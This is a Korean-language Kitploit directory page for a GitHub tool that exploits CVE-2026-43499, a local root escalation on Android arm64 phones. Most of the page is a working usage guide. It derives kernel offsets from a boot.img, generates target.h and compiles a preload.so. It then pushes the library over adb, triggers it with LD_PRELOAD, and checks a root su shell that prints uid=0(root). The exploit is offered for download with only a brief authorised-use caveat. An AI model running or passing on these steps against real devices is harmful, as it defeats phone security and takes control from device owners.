Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-43499_HW-CLT-AL01 — boot.img에서 기기별 커널 오프셋을 생성하고 프리로드 라이브러리를 컴파일하여 CVE-2026-43499 Android arm64 로컬 권한 상승을 악용합니다. | Kitploit
도구/GitHubGitHub/zychen027/cve-2026-43499_hw-clt-al01
Android SecurityPrivilege EscalationExploitationMobile SecurityPayload DevelopmentFirmware AnalysisBinary Exploitation
GitHubzychen027/cve-2026-43499_hw-clt-al01

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-43499_HW-CLT-AL01

boot.img에서 기기별 커널 오프셋을 생성하고 프리로드 라이브러리를 컴파일하여 CVE-2026-43499 Android arm64 로컬 권한 상승을 악용합니다.

저장소 보기
423일 전아직 검토되지 않음

CVE-2026-43499 Android arm64 로컬 권한 상승 적용

영어 | 중국어


이것은 CVE-2026-43499를 위한 Android arm64 로컬 권한 상승 적용 프로젝트입니다.

프로젝트는 대상 장치의 boot.img 및 profile 정보를 기반으로 target.h를 생성한 다음, 해당하는 preload.so를 컴파일합니다.

참고: 이 프로젝트는 범용 적용 프레임워크로, 특정 단일 기기에 국한되지 않습니다. 실제 사용 가능 여부는 generate_target.py가 target.h를 성공적으로 생성할 수 있는지와 실기 테스트 결과에 따릅니다.


디렉터리 구조

root@kitploit:~
项目目录/
├── boot.img                   # 目标设备同固件 boot 镜像
├── profile.json               # 目标设备 profile
├── detect_offset.py           # 检测 profile 用
├── generate_target.py         # 生成 target.h
├── source/
│   ├── Makefile
│   └── src/
│       └── target.h           # 自动生成
└── source/build/bin/
    └── preload.so             # 编译产物

필요한 의존성

기본 의존성

root@kitploit:~
Python 3
LLVM / llvm-objdump
Android NDK
make
adb

Windows 권장 환경

Windows에서는 다음을 사용하는 것이 좋습니다:

root@kitploit:~
MSYS2 UCRT64
Android NDK r29
LLVM Windows x86_64

MSYS2에서 make 설치:

root@kitploit:~
pacman -S make coreutils

준비 파일

다음 파일을 준비해야 합니다:

root@kitploit:~
boot.img
profile.json

profile 예시:

root@kitploit:~
{
  "p0_phys_offset": "0x80000000",
  "p0_kernel_phys_load": "0xc7800000"
}

profile의 다음 두 주소:

root@kitploit:~
p0_phys_offset
p0_kernel_phys_load

이미 Root 상태이고 대상 boot.img와 동일한 펌웨어를 사용하는 휴대폰에서 스크립트를 실행하여 얻을 수 있습니다:

root@kitploit:~
python3 detect_offset.py

Windows에서도 가능합니다:

root@kitploit:~
python detect_offset.py

사용 단계

1. 프로젝트 디렉터리로 이동

Linux / macOS:

root@kitploit:~
cd PATH/project

Windows MSYS2 예시:

root@kitploit:~
cd PATH/CVE-2026-43499-Poc-Analysis-main

2. NDK 경로 설정

Linux / macOS 예시:

root@kitploit:~
export ANDROID_NDK_HOME=PATH/android-ndk

Windows MSYS2 예시:

root@kitploit:~
export ANDROID_NDK_HOME=PATH/android-ndk-r29

3. target.h 생성

root@kitploit:~
python generate_target.py \
  --boot boot.img \
  --profile profile.json \
  -o source/src/target.h

또는 CMD에서 사용 :

root@kitploit:~
python generate_target.py --boot boot.img --profile profile.json -o source/src/target.h

llvm-objdump를 찾을 수 없다는 메시지가 표시되면 경로를 직접 지정하세요:

root@kitploit:~
python generate_target.py \
  --boot boot.img \
  --profile profile.json \
  -o source/src/target.h \
  --llvm-objdump "PATH/clang+llvm-22.1.8-x86_64-pc-windows-msvc/bin/llvm-objdump.exe"

또는 CMD에서 사용:

root@kitploit:~
python generate_target.py --boot boot.img --profile profile.json -o source/src/target.h --llvm-objdump "PATH/clang+llvm-22.1.8-x86_64-pc-windows-msvc/bin/llvm-objdump.exe"

성공하면 다음과 같은 내용이 표시됩니다:

root@kitploit:~
生成成功: .../source/src/target.h
kernel SHA-256: ...
target macros: ...

4. preload.so 컴파일

Linux / macOS:

root@kitploit:~
make -C source clean preload

Windows MSYS2:

root@kitploit:~
make -C source clean preload NDK_PREBUILT=windows-x86_64

성공하면 다음 파일이 생성됩니다:

root@kitploit:~
source/build/bin/preload.so

5. 장치로 푸시하고 실행

root@kitploit:~
adb push source/build/bin/preload.so /data/local/tmp/preload.so
root@kitploit:~
adb shell "chmod 0644 /data/local/tmp/preload.so"
root@kitploit:~
adb shell "LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true"

검증:

root@kitploit:~
adb shell "/data/local/tmp/su -c 'id'"

성공하면 일반적으로 다음과 같은 출력이 표시됩니다:

root@kitploit:~
uid=0(root) gid=0(root)

Windows MSYS2 원클릭 절차

자신의 경로에 맞춘 예시:

root@kitploit:~
cd PATH/CVE-2026-43499-annibale-main
root@kitploit:~
export ANDROID_NDK_HOME=PATH/android-ndk-r29
root@kitploit:~
python generate_target.py --boot boot.img --profile profile.json -o source/src/target.h
root@kitploit:~
make -C source clean preload NDK_PREBUILT=windows-x86_64

최종 파일:

root@kitploit:~
source/build/bin/preload.so

자주 묻는 질문

llvm-objdump를 찾을 수 없음

LLVM을 설치하거나 다음을 사용하세요:

root@kitploit:~
--llvm-objdump "PATH/llvm-objdump"

make를 찾을 수 없음

Windows에서는 MSYS2로 설치합니다:

root@kitploit:~
pacman -S make coreutils

clang을 찾을 수 없음

일반적으로 NDK 경로가 올바르게 설정되지 않았기 때문입니다.

Windows MSYS2 예시:

root@kitploit:~
export ANDROID_NDK_HOME=PATH/android-ndk-r29
make -C source clean preload NDK_PREBUILT=windows-x86_64

target.h 생성 실패

일반적으로 현재 boot.img 또는 커널 레이아웃이 아직 성공적으로 적용되지 않았음을 의미합니다.

중점적으로 확인하세요:

root@kitploit:~
boot.img 是否完整
profile 是否正确
llvm-objdump 是否可用
内核是否有 IKCONFIG / kallsyms / BTF

주의사항

  • 장치, 시스템, 커널을 변경한 후에는 target.h를 다시 생성해야 합니다.
  • target.h는 수동으로 수정하지 않는 것이 좋습니다. generate_target.py에 의해 자동 생성되어야 합니다.
  • 반드시 사용 권한이 있는 장치와 환경에서만 사용하세요.
도구 다운로드